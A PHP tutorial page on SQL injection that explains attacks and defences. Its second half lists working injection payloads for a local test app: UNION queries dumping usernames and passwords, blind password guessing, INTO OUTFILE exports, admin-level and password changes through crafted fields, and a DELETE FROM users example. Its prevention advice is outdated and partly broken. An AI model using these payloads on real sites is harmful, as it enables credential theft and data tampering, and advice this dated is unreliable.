search
HomeBackend DevelopmentPHP TutorialPHP SQL injection attacks and prevention precautions

  1. // supposed input
  2. $name = "ilia'; DELETE FROM users;";
  3. mysql_query("SELECT * FROM users WHERE name='{$name}'");
Copy code

Obviously the last command executed by the database is:

  1. SELECT * FROM users WHERE name=ilia; DELETE FROM users
Copy code

This brings disastrous consequences to the database – all records are deleted.

But if the database you are using is MySQL, then fortunately, the mysql_query() function does not allow you to directly perform such operations (multiple statement operations cannot be performed in a single line), so you can rest assured. If the database used is SQLite or PostgreSQL and supports such a statement, then it will face disaster.

As mentioned above, SQL injection mainly submits unsafe data to the database to achieve the purpose of attack. In order to prevent SQL injection attacks, PHP comes with a function that can process the input string and perform preliminary security processing on the input at the lower level, that is, Magic Quotes. (php.ini magic_quotes_gpc). If the magic_quotes_gpc option is enabled, single quotes, double quotes, and other characters in the input string will be automatically preceded by backslashes.

But Magic Quotes is not a very universal solution, it does not block all potentially dangerous characters, and Magic Quotes is not enabled on many servers. Therefore, we also need to use various other methods to prevent SQL injection.

Many databases provide this input data processing functionality natively. For example, PHP's MySQL operation function has a function called mysql_real_escape_string(), which can escape special characters and characters that may cause database operation errors. This code:

  1. //If Magic Quotes function is enabled

  2. if (get_magic_quotes_gpc()) {
  3. $name = stripslashes($name);
  4. }else{
  5. $name = mysql_real_escape_string($name);
  6. }
  7. mysql_query("SELECT * FROM users WHERE name='{$name}'");

Copy code

Note that when using the database Before using the function, you must check whether Magic Quotes is turned on, just like in the above example, otherwise an error will occur if the process is repeated twice. If MQ is enabled, the added ones need to be removed to get the real data.

In addition to preprocessing the above string-form data, when storing Binary data in the database, you should also pay attention to preprocessing. Otherwise, the data may conflict with the storage format of the database itself, causing the database to crash, data records to be lost, or even the entire database to be lost. Some databases, such as PostgreSQL, provide a function pg_escape_bytea() specially used to encode binary data, which can encode the data similar to Base64.

For example:

  1. // for plain-text data use:

  2. pg_escape_string($regular_strings);
  3. // for binary data use:

  4. pg_escape_bytea($binary_data) ;
Copy code

In another case, such a mechanism should also be used. That is, multi-byte languages ​​such as Chinese, Japanese, etc. that are not supported by the database system itself. Some of them have ASCII ranges that overlap with binary data ranges.

Here we recommend two articles about PHP SQL injection prevention. One is provided by 360 Security, and the other is a PHP SQL injection prevention code collected by the author. It is very powerful and easy to use.
  • php anti-SQL injection code (provided by 360)
  • php code to prevent sql injection vulnerability filtering function

However, encoding the data may cause query statements like LIKE abc% to become invalid.

php sql injection implementation(the test code is safe)

The focus of SQL injection is to construct SQL statements. Only by using SQL flexibly statement to construct a new injection string. After studying, I wrote some notes and have them ready for use at any time. I hope you will read the following content first Understand the basic principles of SQL. The code in the notes comes from the Internet. ===Basic part=== Query this table: http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6 http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union union statement: http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/* http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

Export file: http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT statement: INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); Construct homepage value: http://jbxue.com', '3')# The SQL statement becomes: INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://jbxue.com', '3')#' , '1');

UPDATE statement: I like this thing First understand this SQL

  1. UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
Copy code

If this SQL is modified into the following form, then Implemented injection 1: Modify the homepage value to http://jbxue.com', userlevel='3 The SQL statement then becomes

  1. UPDATE user SET password='mypass', homepage='http://jbxue.com', userlevel='3' WHERE id='$id'
Copy code

userlevel as user Level 2: Modify the password value to

  1. mypass)' WHERE username='admin'#
After copying the code

, the SQL statement becomes

  1. UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
Copy code

3: Modify the id value to ' OR username='admin' The SQL statement then becomes

  1. UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
Copy code

===Advanced section= == Commonly used MySQL built-in functions DATABASE() USER() SYSTEM_USER() SESSION_USER() CURRENT_USER() database() version() SUBSTRING() MID() char() load_file() … Function application UPDATE article SET title=DATABASE() WHERE id=1 http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()

  1. SELECT * FROM user WHERE username=char(97,110,103,101,108)
  2. # char(97,110,103,101,108) is equivalent to angel, decimal
Copy code

http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1 )>char(100) http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

Determine the number and type of fields in the data structure http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

Guess the data table name http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

Cross-table query to get username and password http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1 from ymdown_user where id=1

Others #Verify the first password http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===Injection Prevention=== Server aspect magic_quotes_gpc is set to On display_errors is set to Off coding aspect

  1. $keywords = addslashes($keywords);
  2. $keywords = str_replace("_","_",$keywords);
  3. $keywords = str_replace("%","%",$keywords) ;
Copy code

Numeric type Use intval() to catch and replace string type Add single quotes to SQL statement parameters The following code is used to prevent injection

  1. if (get_magic_quotes_gpc()) {
  2. //....
  3. }else{
  4. $str = mysql_real_escape_string($str);
  5. $keywords = str_replace("_","_",$keywords );
  6. $keywords = str_replace("%","%",$keywords);
  7. }
Copy code

Useful functions stripslashes() get_magic_quotes_gpc() mysql_real_escape_string() strip_tags() array_map() addslashes()



Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
11 Best PHP URL Shortener Scripts (Free and Premium)11 Best PHP URL Shortener Scripts (Free and Premium)Mar 03, 2025 am 10:49 AM

Long URLs, often cluttered with keywords and tracking parameters, can deter visitors. A URL shortening script offers a solution, creating concise links ideal for social media and other platforms. These scripts are valuable for individual websites a

Introduction to the Instagram APIIntroduction to the Instagram APIMar 02, 2025 am 09:32 AM

Following its high-profile acquisition by Facebook in 2012, Instagram adopted two sets of APIs for third-party use. These are the Instagram Graph API and the Instagram Basic Display API.As a developer building an app that requires information from a

Working with Flash Session Data in LaravelWorking with Flash Session Data in LaravelMar 12, 2025 pm 05:08 PM

Laravel simplifies handling temporary session data using its intuitive flash methods. This is perfect for displaying brief messages, alerts, or notifications within your application. Data persists only for the subsequent request by default: $request-

Build a React App With a Laravel Back End: Part 2, ReactBuild a React App With a Laravel Back End: Part 2, ReactMar 04, 2025 am 09:33 AM

This is the second and final part of the series on building a React application with a Laravel back-end. In the first part of the series, we created a RESTful API using Laravel for a basic product-listing application. In this tutorial, we will be dev

Simplified HTTP Response Mocking in Laravel TestsSimplified HTTP Response Mocking in Laravel TestsMar 12, 2025 pm 05:09 PM

Laravel provides concise HTTP response simulation syntax, simplifying HTTP interaction testing. This approach significantly reduces code redundancy while making your test simulation more intuitive. The basic implementation provides a variety of response type shortcuts: use Illuminate\Support\Facades\Http; Http::fake([ 'google.com' => 'Hello World', 'github.com' => ['foo' => 'bar'], 'forge.laravel.com' =>

cURL in PHP: How to Use the PHP cURL Extension in REST APIscURL in PHP: How to Use the PHP cURL Extension in REST APIsMar 14, 2025 am 11:42 AM

The PHP Client URL (cURL) extension is a powerful tool for developers, enabling seamless interaction with remote servers and REST APIs. By leveraging libcurl, a well-respected multi-protocol file transfer library, PHP cURL facilitates efficient execution of various network protocols, including HTTP, HTTPS, and FTP. This extension offers granular control over HTTP requests, supports multiple concurrent operations, and provides built-in security features.

12 Best PHP Chat Scripts on CodeCanyon12 Best PHP Chat Scripts on CodeCanyonMar 13, 2025 pm 12:08 PM

Do you want to provide real-time, instant solutions to your customers' most pressing problems? Live chat lets you have real-time conversations with customers and resolve their problems instantly. It allows you to provide faster service to your custom

Announcement of 2025 PHP Situation SurveyAnnouncement of 2025 PHP Situation SurveyMar 03, 2025 pm 04:20 PM

The 2025 PHP Landscape Survey investigates current PHP development trends. It explores framework usage, deployment methods, and challenges, aiming to provide insights for developers and businesses. The survey anticipates growth in modern PHP versio

See all articles

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

AI Hentai Generator

AI Hentai Generator

Generate AI Hentai for free.

Hot Article

R.E.P.O. Energy Crystals Explained and What They Do (Yellow Crystal)
2 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
Repo: How To Revive Teammates
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Adventure: How To Get Giant Seeds
4 weeks agoBy尊渡假赌尊渡假赌尊渡假赌

Hot Tools

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SecLists

SecLists

SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

MantisBT

MantisBT

Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.

mPDF

mPDF

mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

Powerful PHP integrated development environment